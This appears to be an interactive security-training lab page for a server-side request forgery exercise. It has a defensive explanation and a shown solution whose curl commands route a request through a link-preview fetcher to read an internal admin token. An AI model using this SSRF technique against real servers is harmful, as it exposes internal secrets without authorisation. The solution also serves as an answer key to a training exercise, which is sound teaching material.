Pivot to the internal admin API
The link-preview feature at /app/fetch?url= fetches URLs server-side. An internal admin API at /internal/secrets refuses your direct requests (403) but trusts the server. Use the SSRF to reach it and capture the internal admin token, saving it under your home.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
You reached a service you were explicitly forbidden from, without any credential of your own — the server lent you its trust. SSRF is dangerous exactly because internal services are so often left unauthenticated on the assumption that only trusted callers can reach them. Fix it on both sides: constrain what the fetcher may request (allow-list hosts, block internal ranges, follow redirects carefully), and make internal services authenticate every caller instead of trusting the network.
Show solution
cd /home/student
# a direct request to the internal API is refused
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8080/internal/secrets
# pivot through the server-side fetch, which is trusted internally
curl -s 'http://127.0.0.1:8080/app/fetch?url=http://127.0.0.1:8080/internal/secrets' | tee loot.txt